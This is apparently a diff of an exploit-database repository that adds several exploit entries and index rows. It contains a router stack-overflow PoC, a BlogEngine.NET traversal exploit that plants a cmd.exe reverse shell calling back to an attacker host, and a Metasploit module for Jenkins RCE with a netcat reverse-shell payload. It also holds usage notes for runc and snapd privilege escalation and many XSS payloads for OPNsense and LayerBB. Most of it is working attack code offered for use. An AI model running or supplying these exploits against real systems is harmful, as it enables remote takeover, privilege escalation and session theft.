+Buffer Overflow,Exec
+
+How to Reproduce: (POC):
+========================
+
+One can use below exploit
+'''
+
+import socket
+import struct
+
+buf = "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"
+buf+="Username=Bufferoverflow"
+buf+="&Logoff=0" 
+buf+="&LoginTimes=1"
+buf+="&LoginTimes_Zero=0"
+buf+="&value_one=1"
+buf+="&Password1=xss"
+buf+="&Password2=xss"
+buf+="&logintype=usr"
+buf+="&Password="
+buf+="A"*999 #Padding till T4
+buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc
+buf+="T7T7" #T7 sleep address based on libc
+buf+="B"*9 #Padding till T6
+buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive
+buf+="K"*8 #Padding between T6to s0
+buf+="S0S0" #S0 Address sleep address boa possitive
+buf+="S1S1" #S1 Address Sleep Address Boa negetive
+buf+="S2S2" #S2 Address Normal Sleep Adress
+buf+="S3S3" #S3Address System Address
+buf+="\xA0\x0E\xA2\x18" #return Address
+buf+="K"*600
+
+
+print buf
+print "[+] sending buffer size", len(buf)
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect(("192.168.1.1", 80))
+s.send(buf)
+
+'''
+Mitigation
+==========
+
+No Official mitigation recived from vendor.
+
+[Vendor of Product]
+Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigital.com/products)
+
+Disclosure: 
+===========
+01-Nov-2018 Discoverd the vulnerability
+03-Nov-2018 Reported to vendor (No Response)
+13-Nov-2018 follow-up-01 (No reposonse.)
+24-Nov-2018 Requested for CVE/Cve's.
+26-Nov-2018 CVE-Assign by Mitre
+
+credits:
+========
+* Kaustubh Padwad
+* Information Security Researcher
+* kingkaustubh@me.com
+* https://s3curityb3ast.github.io/
+* https://twitter.com/s3curityb3ast
+* http://breakthesec.com
+* https://www.linkedin.com/in/kaustubhpadwad
+'''
--- a/exploits/aspx/webapps/46353.cs
+++ b/exploits/aspx/webapps/46353.cs
@ -0,0 +1,92 @@
+# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
+# Date: 02-11-2019
+# Exploit Author: Dustin Cobb
+# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
+# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
+# Version: <= 3.3.6
+# Tested on: Windows 2016 Standard / IIS 10.0
+# CVE : CVE-2019-6714
+
+/*
+ * CVE-2019-6714
+ *
+ * Path traversal vulnerability leading to remote code execution.  This 
+ * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This 
+ * is caused by an unchecked "theme" parameter that is used to override
+ * the default theme for rendering blog pages.  The vulnerable code can 
+ * be seen in this file:
+ * 
+ * /Custom/Controls/PostList.ascx.cs
+ *
+ * Attack:
+ *
+ * First, we set the TcpClient address and port within the method below to 
+ * our attack host, who has a reverse tcp listener waiting for a connection.
+ * Next, we upload this file through the file manager.  In the current (3.3.6)
+ * version of BlogEngine, this is done by editing a post and clicking on the 
+ * icon that looks like an open file in the toolbar.  Note that this file must
+ * be uploaded as PostView.ascx. Once uploaded, the file will be in the
+ * /App_Data/files directory off of the document root. The admin page that
+ * allows upload is:
+ *
+ * http://10.10.10.10/admin/app/editor/editpost.cshtml
+ *
+ *
+ * Finally, the vulnerability is triggered by accessing the base URL for the 
+ * blog with a theme override specified like so:
+ *
+ * http://10.10.10.10/?theme=../../App_Data/files
+ *
+ */
+
+<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
+<%@ Import Namespace="BlogEngine.Core" %>
+
+<script runat="server">
+	static System.IO.StreamWriter streamWriter;
+
+    protected override void OnLoad(EventArgs e) {
+        base.OnLoad(e);
+
+	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
+		using(System.IO.Stream stream = client.GetStream()) {
+			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
+				streamWriter = new System.IO.StreamWriter(stream);
+						
+				StringBuilder strInput = new StringBuilder();
+
+				System.Diagnostics.Process p = new System.Diagnostics.Process();
+				p.StartInfo.FileName = "cmd.exe";
+				p.StartInfo.CreateNoWindow = true;
+				p.StartInfo.UseShellExecute = false;
+				p.StartInfo.RedirectStandardOutput = true;
+				p.StartInfo.RedirectStandardInput = true;
+				p.StartInfo.RedirectStandardError = true;
+				p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
+				p.Start();
+				p.BeginOutputReadLine();
+
+				while(true) {
+					strInput.Append(rdr.ReadLine());
+					p.StandardInput.WriteLine(strInput);
+					strInput.Remove(0, strInput.Length);
+				}
+			}
+		}
+    	}
+    }
+
+    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
+   	StringBuilder strOutput = new StringBuilder();
+
+       	if (!String.IsNullOrEmpty(outLine.Data)) {
+       		try {
+                	strOutput.Append(outLine.Data);
+                    	streamWriter.WriteLine(strOutput);
+                    	streamWriter.Flush();
+                } catch (Exception err) { }
+        }
+    }
+
+</script>
+<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
--- a/exploits/cgi/webapps/46333.txt
+++ b/exploits/cgi/webapps/46333.txt
@ -4,8 +4,7 @@ Cross-Site Scripting
 # Date: 06.02.2019
 # Exploit Author: Ozer Goker
 # Vendor Homepage: http://www.smoothwall.org
-# Software Link:
-https://sourceforge.net/projects/smoothwall/files/SmoothWall/3.1%20SP4/Express-3.1-SP4-x86_64.iso/download
+# Software Link: https://sourceforge.net/projects/smoothwall/files/SmoothWall/3.1%20SP4/Express-3.1-SP4-x86_64.iso/download
 # Version: 3.1-SP4-polar-x86_64-update9
 ##################################################################################################################################

--- a/exploits/cgi/webapps/46344.txt
+++ b/exploits/cgi/webapps/46344.txt
@ -3,8 +3,7 @@
 # Date: 08.02.2019
 # Exploit Author: Ozer Goker
 # Vendor Homepage: https://www.ipfire.org
-# Software Link:
-https://downloads.ipfire.org/releases/ipfire-2.x/2.21-core127/ipfire-2.21.x86_64-full-core127.iso
+# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.21-core127/ipfire-2.21.x86_64-full-core127.iso
 # Version: IPFire 2.21 - Core Update 127
 ##################################################################################################################################

--- a/exploits/linux/local/46359.md
+++ b/exploits/linux/local/46359.md
@ -0,0 +1,13 @@
+# Usage
+Edit HOST inside `payload.c`, compile with `make`. Start `nc` and run `pwn.sh` inside the container.
+
+# Notes
+- This exploit is destructive: it'll overwrite `/usr/bin/docker-runc` binary *on the host* with the
+payload. It'll also overwrite `/bin/sh` inside the container.
+- Tested only on Debian 9.
+- No attempts were made to make it stable or reliable, it's only tested to work when a `docker exec
+<id> /bin/sh` is issued on the host.
+
+More complete explanation [here](https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d).
+
+Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46359.zip
--- a/exploits/linux/local/46360.md
+++ b/exploits/linux/local/46360.md
@ -0,0 +1,82 @@
+# dirty_sock: Privilege Escalation in Ubuntu (via snapd)
+In January 2019, current versions of Ubuntu Linux were found to be vulnerable to local privilege escalation due to a bug in the snapd API. This repository contains the original exploit POC, which is being made available for research and education. For a detailed walkthrough of the vulnerability and the exploit, please refer to the <a href="https://initblog.com/2019/dirty-sock/" target="_blank"> blog posting here</a>.
+
+You can easily check if your system is vulnerable. Run the command below. If your `snapd` is 2.37.1 or newer, you are safe.
+```
+$ snap version
+...
+snapd   2.37.1
+...
+```
+
+# Usage
+## Version One (use in most cases)
+This exploit bypasses access control checks to use a restricted API function (POST /v2/create-user) of the local snapd service. This queries the Ubuntu SSO for a username and public SSH key of a provided email address, and then creates a local user based on these value.
+
+Successful exploitation for this version requires an outbound Internet connection and an SSH service accessible via localhost.
+
+To exploit, first create an account at the <a href="https://login.ubuntu.com/" target="_blank">Ubuntu SSO</a>. After confirming it, edit your profile and upload an SSH public key. Then, run the exploit like this (with the SSH private key corresponding to public key you uploaded):
+
+```
+python3 ./dirty_sockv1.py -u "you@yourmail.com" -k "id_rsa"
+
+[+] Slipped dirty sock on random socket file: /tmp/ktgolhtvdk;uid=0;
+[+] Binding to socket file...
+[+] Connecting to snapd API...
+[+] Sending payload...
+[+] Success! Enjoy your new account with sudo rights!
+
+[Script will automatically ssh to localhost with the SSH key here]
+```
+
+## Version Two (use in special cases)
+This exploit bypasses access control checks to use a restricted API function (POST /v2/snaps) of the local snapd service. This allows the installation of arbitrary snaps. Snaps in "devmode" bypass the sandbox and may include an "install hook" that is run in the context of root at install time.
+
+dirty_sockv2 leverages the vulnerability to install an empty "devmode" snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands.
+
+As opposed to version one, this does not require the SSH service to be running. It will also work on newer versions of Ubuntu with no Internet connection at all, making it resilient to changes and effective in restricted environments.
+
+This exploit should also be effective on non-Ubuntu systems that have installed snapd but that do not support the "create-user" API due to incompatible Linux shell syntax.
+
+Some older Ubuntu systems (like 16.04) may not have the snapd components installed that are required for sideloading. If this is the case, this version of the exploit may trigger it to install those dependencies. During that installation, snapd may upgrade itself to a non-vulnerable version. Testing shows that the exploit is still successful in this scenario. See the troubleshooting section for more details.
+
+To exploit, simply run the script with no arguments on a vulnerable system.
+
+```
+python3 ./dirty_sockv2.py
+
+[+] Slipped dirty sock on random socket file: /tmp/gytwczalgx;uid=0;
+[+] Binding to socket file...
+[+] Connecting to snapd API...
+[+] Deleting trojan snap (and sleeping 5 seconds)...
+[+] Installing the trojan snap (and sleeping 8 seconds)...
+[+] Deleting trojan snap (and sleeping 5 seconds)...
+
+********************
+Success! You can now `su` to the following account and use sudo:
+   username: dirty_sock
+   password: dirty_sock
+********************
+
+```
+
+
+# Troubleshooting
+If using version two, and the exploit completes but you don't see your new account, this may be due to some background snap updates. You can view these by executing `snap changes` and then `snap change #`, referencing the line showing the install of the dirty_sock snap. Eventually, these should complete and your account should be usable.
+
+Version 1 seems to be the easiest and fastest, if your environment supports it (SSH service running and accessible from localhost).
+
+Please open issues for anything weird.
+
+# Disclosure Info
+The issue was reported directly to the snapd team via Ubuntu's bug tracker. You can read the full thread <a href="https://bugs.launchpad.net/snapd/+bug/1813365" target="_blank">here</a>.
+
+I was very impressed with Canonical's response to this issue. The team was awesome to work with, and overall the experience makes me feel very good about being an Ubuntu user myself.
+
+Public advisory links:
+- https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SnapSocketParsing
+- https://usn.ubuntu.com/3887-1/
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46360.zip
--- a/exploits/linux/webapps/46352.rb
+++ b/exploits/linux/webapps/46352.rb
@ -0,0 +1,182 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+ 
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::HttpClient
+ 
+    def initialize(info = {})
+        super(update_info(info,
+          'Name'           => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)',
+          'Description'    => %q{
+                  This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges.
+                  The vulnerability is exploited by a small script prepared in NodeJS.
+                  The sh parameter allows us to run commands.
+                  Sample script: 
+                                node {
+                                      sh "whoami"
+                                }
+                  In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default.
+                  Therefore, all users without console authority can run commands on the system as root privilege.
+          },
+          'Author'         => [
+            'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
+          ],
+          'License'        => MSF_LICENSE,
+          'References'     =>
+            [
+              ['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html']
+            ],
+          'Privileged'     => true,
+          'Payload'        =>
+            {
+              'DisableNops' => true,
+              'Space'       => 512,
+              'Compat'      =>
+                {
+                  'PayloadType' => 'cmd',
+                  'RequiredCmd' => 'reverse netcat generic perl ruby python telnet',
+                }
+            },
+          'Platform'       => 'unix',
+          'Arch'           => ARCH_CMD,
+          'Targets'        => [[ 'Jenkins <= 2.150.2', { }]],
+          'DisclosureDate' => 'Feb 11 2019',
+          'DefaultTarget'  => 0,
+          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }))
+
+          register_options(
+            [
+                OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
+                OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
+                OptString.new('PATH', [ true, 'The path to jenkins', '/' ]),
+            ], self.class)
+    end
+##
+# Jenkins activity check
+##
+ 
+    def check
+        res = send_request_cgi({'uri' => "/login"})
+        if res and res.headers.include?('X-Jenkins')
+            return Exploit::CheckCode::Detected
+        else
+            return Exploit::CheckCode::Safe
+        end
+    end
+ 
+    def exploit
+        print_status('Attempting to login to Jenkins dashboard')
+        res = send_request_cgi({'uri' => "/script"})
+        if not (res and res.code)
+            fail_with(Exploit::Failure::Unknown)
+        end
+ 
+        sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
+        @cookie = "#{sessionid}"
+	print_status("#{sessionid}")
+ 
+        if res.code != 200
+            print_status('Logging in...')
+##
+# Access control and information
+##
+            res = send_request_cgi({
+                'method'    => 'POST',
+                'uri'       => "/j_acegi_security_check",
+                'cookie'    => @cookie,
+                'vars_post' =>
+                    {
+                        'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
+                        'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
+                        'Submit'     => 'Sign+in'
+                    }
+            })
+
+            if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
+                print_error('User Login failed. If anonymous login is active, exploit will continue.')
+            end
+        else
+            print_status('No authentication required, skipping login...')
+        end
+##
+# Check Crumb for create pipeline
+##
+	cookies = res.get_cookies
+        res = send_request_cgi({
+	    'method' => 'GET',
+            'uri' => "/view/all/newJob",
+            'cookie'  => cookies
+        })
+
+        html = res.body
+        if html =~ /Jenkins-Crumb/
+          print_good("Login Successful")
+        else
+          print_status("Service found, but login failed")
+          exit 0
+        end
+
+	crumb = res.body.split('Jenkins-Crumb')[1].split('");<')[0].split('"').last
+        print_status("Jenkins-Crumb: #{crumb}")
+##
+# Create Pipeline
+##
+        res = send_request_cgi({
+	    'method' => 'POST',
+            'uri' => "/view/all/createItem",
+            'cookie'  => cookies,
+            'vars_post' =>
+                {
+                    'name' => "cmd",
+                    'mode' => "org.jenkinsci.plugins.workflow.job.WorkflowJob",
+                    'from' => "",
+                    'Jenkins-Crumb' => "#{crumb}",
+                    'json' => "%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7"
+                }
+        })
+
+##
+# Configure Pipeline
+##
+        shell = payload.encoded
+        res = send_request_cgi({
+	    'method' => 'POST',
+            'uri' => "/job/cmd/configSubmit",
+            'cookie'  => cookies,
+            'vars_post' =>
+                {
+                    'description' => "cmd",
+                    'Jenkins-Crumb' => "#{crumb}",
+                    'json' => "{\"description\": \"cmd\", \"properties\": {\"stapler-class-bag\": \"true\", \"hudson-security-AuthorizationMatrixProperty\": {}, \"jenkins-model-BuildDiscarderProperty\": {\"specified\": false, \"\": \"0\", \"strategy\": {\"daysToKeepStr\": \"\", \"numToKeepStr\": \"\", \"artifactDaysToKeepStr\": \"\", \"artifactNumToKeepStr\": \"\", \"stapler-class\": \"hudson.tasks.LogRotator\", \"$class\": \"hudson.tasks.LogRotator\"}}, \"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\": {\"specified\": false}, \"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\": {\"specified\": false}, \"com-coravy-hudson-plugins-github-GithubProjectProperty\": {}, \"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\": {\"specified\": false, \"hint\": \"MAX_SURVIVABILITY\"}, \"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\": {\"specified\": false, \"buildCount\": \"1\"}, \"hudson-model-ParametersDefinitionProperty\": {\"specified\": false}, \"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\": {}, \"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\": {\"triggers\": {\"stapler-class-bag\": \"true\"}}}, \"disable\": false, \"hasCustomQuietPeriod\": false, \"quiet_period\": \"5\", \"displayNameOrNull\": \"\", \"\": \"0\", \"definition\": {\"script\": \"node {\\n    sh \\\"#{shell}\\\"\\n}\", \"\": [\"try sample Pipeline...\", \"\\u0001\\u0001\"], \"sandbox\": true, \"stapler-class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\", \"$class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\"}, \"core:apply\": \"\", \"Jenkins-Crumb\": \"#{crumb}\"}",
+                    'Submit' => "Save"
+                }
+        })
+
+        if res.code == 302
+          print_good("Pipeline was created and Node JS code was integrated.")
+        end
+##
+# Build Pipeline and Execute payload
+##
+        print_status("Trying to get remote shell...")
+        res = send_request_cgi({
+	    'method' => 'POST',
+            'uri' => "/job/cmd/build?delay=0sec",
+            'cookie'  => cookies,
+            'vars_post' =>
+                {
+                    'Jenkins-Crumb' => "#{crumb}"
+                }
+        })
+    handler
+    end
+end
+##
+# End
+##
--- a/exploits/php/webapps/46351.txt
+++ b/exploits/php/webapps/46351.txt
@ -0,0 +1,355 @@
+##################################################################################################################################
+# Exploit Title: OPNsense 19.1 | Cross-Site Scripting
+# Date: 01.02.2019
+# Exploit Author: Ozer Goker
+# Vendor Homepage: https://opnsense.org
+# Software Link: http://mirror.ams1.nl.leaseweb.net/opnsense/releases/19.1/OPNsense-19.1-OpenSSL-dvd-amd64.iso.bz2
+# Version: 19.1
+##################################################################################################################################
+
+Introduction
+OPNsense is an open source, easy-to-use and easy-to-build FreeBSD based firewall and routing platform. OPNsense includes most of the features available in expensive commercial firewalls, and more in many cases. It brings the rich feature set of commercial offerings with the benefits of open and verifiable sources.
+
+
+#################################################################################
+
+
+XSS details: Reflected & Stored
+
+#################################################################################
+
+XSS1 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+GDrive_GDriveEmail
+
+PAYLOAD
+"><script>alert(1)</script>
+
+#################################################################################
+
+XSS2 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+GDrive_GDriveFolderID
+
+PAYLOAD
+"><script>alert(2)</script>
+
+#################################################################################
+
+XSS3 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+GDrive_GDriveBackupCount
+
+PAYLOAD
+"><script>alert(3)</script>
+
+#################################################################################
+
+XSS4 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+Nextcloud_url
+
+PAYLOAD
+"><script>alert(4)</script>
+
+#################################################################################
+
+XSS5 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+Nextcloud_user
+
+PAYLOAD
+"><script>alert(5)</script>
+
+#################################################################################
+
+XSS6 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+Nextcloud_password
+
+PAYLOAD
+"><script>alert(6)</script>
+
+#################################################################################
+
+XSS7 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+Nextcloud_password_encryption
+
+PAYLOAD
+"><script>alert(7)</script>
+
+#################################################################################
+
+XSS8 | Reflected
+
+URL
+http://192.168.2.200/diag_backup.php
+
+METHOD
+Post
+
+PARAMETER
+Nextcloud_backupdir
+
+PAYLOAD
+"><script>alert(8)</script>
+
+#################################################################################
+
+XSS9 | Stored
+
+URL
+http://192.168.2.200/system_advanced_sysctl.php?act=edit
+
+METHOD
+Post
+
+PARAMETER
+tunable
+
+PAYLOAD
+"><script>alert(9)</script>
+
+#################################################################################
+
+XSS10 | Reflected
+
+URL
+http://192.168.2.200/system_advanced_sysctl.php?act=edit
+
+METHOD
+Post
+
+PARAMETER
+value
+
+PAYLOAD
+"><script>alert(10)</script>
+
+#################################################################################
+
+XSS11 | Reflected
+
+URL
+http://192.168.2.200/interfaces_vlan_edit.php
+
+METHOD
+Post
+
+PARAMETER
+tag
+
+PAYLOAD
+"><script>alert(11)</script>
+
+#################################################################################
+
+XSS2 | Reflected
+
+URL
+http://192.168.2.200/interfaces_vlan_edit.php
+
+METHOD
+Post
+
+PARAMETER
+descr
+
+PAYLOAD
+"><script>alert(12)</script>
+
+#################################################################################
+
+XSS13 | Reflected
+
+URL
+http://192.168.2.200/interfaces_vlan_edit.php
+
+METHOD
+Post
+
+PARAMETER
+vlanif
+
+PAYLOAD
+"><script>alert(13)</script>
+
+#################################################################################
+
+XSS14 | Reflected
+
+URL
+http://192.168.2.200/diag_ping.php
+
+METHOD
+Post
+
+PARAMETER
+host
+
+PAYLOAD
+"><script>alert(14)</script>
+
+#################################################################################
+
+XSS15 | Reflected
+
+URL
+http://192.168.2.200/diag_traceroute.php
+
+METHOD
+Post
+
+PARAMETER
+host
+
+PAYLOAD
+"><script>alert(15)</script>
+
+#################################################################################
+
+XSS16 | Stored
+
+URL
+http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules
+
+METHOD
+Post
+
+PARAMETER
+category
+
+PAYLOAD
+"><script>alert(16)</script>
+
+#################################################################################
+
+XSS17 | Stored
+
+URL
+http://192.168.2.200/firewall_rules_edit.php?if=lan
+
+METHOD
+Post
+
+PARAMETER
+category
+
+PAYLOAD
+"><script>alert(17)</script>
+
+#################################################################################
+
+XSS18 | Stored
+
+URL
+http://192.168.2.200/firewall_rules_edit.php?if=wan
+
+METHOD
+Post
+
+PARAMETER
+category
+
+PAYLOAD
+"><script>alert(18)</script>
+
+#################################################################################
+
+XSS19 | Reflected
+
+URL
+http://192.168.2.200/vpn_ipsec_settings.php
+
+METHOD
+Post
+
+PARAMETER
+passthrough_networks%5B%5D
+
+PAYLOAD
+<img%20src=x%20onerror=alert(19)>
+
+#################################################################################
+
+XSS20 | Reflected
+
+URL
+http://192.168.2.200/ui/monit
+
+METHOD
+Post
+
+PARAMETER
+mailserver
+
+PAYLOAD
+<img src=x onerror=alert(20)>
+
+#################################################################################
+
+XSS21 | Reflected
+
+URL
+http://192.168.2.200/ui/proxy
+
+METHOD
+Post
+
+PARAMETER
+ignoreLogACL
+
+PAYLOAD
+<img src=x onerror=alert(21)>
+
+#################################################################################
--- a/exploits/php/webapps/46354.txt
+++ b/exploits/php/webapps/46354.txt
@ -0,0 +1,32 @@
+# Exploit Title: LayerBB 1.1.2 - Cross-Site Scripting
+# Date: 11/19/2018
+# Author: 0xB9
+# Twitter: @0xB9Sec
+# Contact: 0xB9[at]pm.me
+# Software Link: https://forum.layerbb.com/downloads.php?view=file&id=28
+# Version: 1.1.2
+# Tested on: Ubuntu 18.04
+# CVE: CVE-2019-7688
+
+
+1. Description:
+LayerBB is a free open-source forum software. The 2 XSS's found allows users to input a payload to Custom Profile Fields and the polls question & answers input via a new thread.
+
+
+2. Proof of Concept:
+
+PoC - Polls QnA
+- Start a new thread
+- Use a payload in the polls QnA input boxes  <script>alert('XSS')</script>
+- Anyone who views the thread will execute payload
+
+PoC - Custom Profile Fields
+- Create a Custom Profile Field in ACP
+- Then use an account from any usergroup & edit profile
+- Input a payload in the bottom "Additional Profile Fields" textbox  <script>alert('XSS')</script>
+- Anyone who views your profile will execute payload
+
+
+
+3. Solution:
+Update to 1.1.3
--- a/exploits/windows/local/46346.py
+++ b/exploits/windows/local/46346.py
--- a/files_exploits.csv
+++ b/files_exploits.csv
@ -6300,10 +6300,11 @@ id,file,description,date,author,type,platform,port
 46321,exploits/windows/dos/46321.py,"Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC)",2019-02-05,"Victor Mondragón",dos,windows,
 46322,exploits/windows/dos/46322.py,"River Past Audio Converter 7.7.16 - Denial of Service (PoC)",2019-02-05,Achilles,dos,windows,
 46332,exploits/multiple/dos/46332.txt,"Skia - Incorrect Convexity Assumptions Leading to Buffer Overflows",2019-02-06,"Google Security Research",dos,multiple,
-46337,exploits/android/dos/46337.sh,"AirDroid 4.2.1.6 - Denial of Service",2019-02-11,s4vitar,dos,android,
 46338,exploits/windows/dos/46338.py,"FutureDj Pro 1.7.2.0 - Denial of Service",2019-02-11,Achilles,dos,windows,
 46343,exploits/windows/dos/46343.py,"NordVPN 6.19.6 - Denial of Service (PoC)",2019-02-11,"Alejandra Sánchez",dos,windows,
-46346,exploits/windows/dos/46346.py,"River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH)",2019-02-11,crash_manucoot,dos,windows,
+46356,exploits/android/dos/46356.txt,"Android - binder Use-After-Free via fdget() Optimization",2019-02-12,"Google Security Research",dos,android,
+46357,exploits/android/dos/46357.txt,"Android - binder Use-After-Free of VMA via race Between reclaim and munmap",2019-02-12,"Google Security Research",dos,android,
+46358,exploits/asp/dos/46358.py,"Skyworth GPON HomeGateways and Optical Network Terminals - Stack Overflow",2019-02-12,"Kaustubh G. Padwad",dos,asp,80
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10290,6 +10291,9 @@ id,file,description,date,author,type,platform,port
 46335,exploits/windows/local/46335.py,"River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH)",2019-02-11,Achilles,local,windows,
 46341,exploits/linux/local/46341.rb,"Evince - CBT File Command Injection (Metasploit)",2019-02-11,Metasploit,local,linux,
 46345,exploits/windows/local/46345.py,"Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure",2019-02-11,"Nathu Nandwani",local,windows,
+46346,exploits/windows/local/46346.py,"River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH)",2019-02-11,crash_manucoot,local,windows,
+46359,exploits/linux/local/46359.md,"runc< 1.0-rc6 (Docker < 18.09.2) - Host Command Execution",2019-02-12,feexd,local,linux,
+46360,exploits/linux/local/46360.md,"Ubuntu snapd < 2.37.1 - Local Privilege Escalation",2019-02-12,"Chris Moberly",local,linux,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -40812,8 +40816,12 @@ id,file,description,date,author,type,platform,port
 46330,exploits/php/webapps/46330.txt,"osCommerce 2.3.4.1 - 'reviews_id' SQL Injection",2019-02-06,"Mehmet EMIROGLU",webapps,php,80
 46333,exploits/cgi/webapps/46333.txt,"Smoothwall Express 3.1-SP4 - Cross-Site Scripting",2019-02-11,"Ozer Goker",webapps,cgi,
 46336,exploits/hardware/webapps/46336.html,"Coship Wireless Router 4.0.0.x/5.0.0.x - WiFi Password Reset",2019-02-11,"Adithyan AK",webapps,hardware,
-46344,exploits/cgi/webapps/46344.txt,"IPFire 2.21 - Cross-Site Scripting",2019-02-11,"Ozer Goker",webapps,cgi,
-46347,exploits/php/webapps/46347.txt,"MyBB Bans List 1.0 - Cross-Site Scripting",2019-02-11,0xB9,webapps,php,
+46344,exploits/cgi/webapps/46344.txt,"IPFire 2.21 - Cross-Site Scripting",2019-02-11,"Ozer Goker",webapps,cgi,443
+46347,exploits/php/webapps/46347.txt,"MyBB Bans List 1.0 - Cross-Site Scripting",2019-02-11,0xB9,webapps,php,80
 46348,exploits/php/webapps/46348.py,"VA MAX 8.3.4 - Authenticated Remote Code Execution",2019-02-11,"Cody Sixteen",webapps,php,
 46349,exploits/linux/webapps/46349.txt,"CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting",2019-02-11,DKM,webapps,linux,
-46350,exploits/php/webapps/46350.txt,"Webiness Inventory 2.3 - 'email' SQL Injection",2019-02-11,"Mehmet EMIROGLU",webapps,php,
+46350,exploits/php/webapps/46350.txt,"Webiness Inventory 2.3 - 'email' SQL Injection",2019-02-11,"Mehmet EMIROGLU",webapps,php,80
+46351,exploits/php/webapps/46351.txt,"OPNsense < 19.1.1 - Cross-Site Scripting",2019-02-12,"Ozer Goker",webapps,php,80
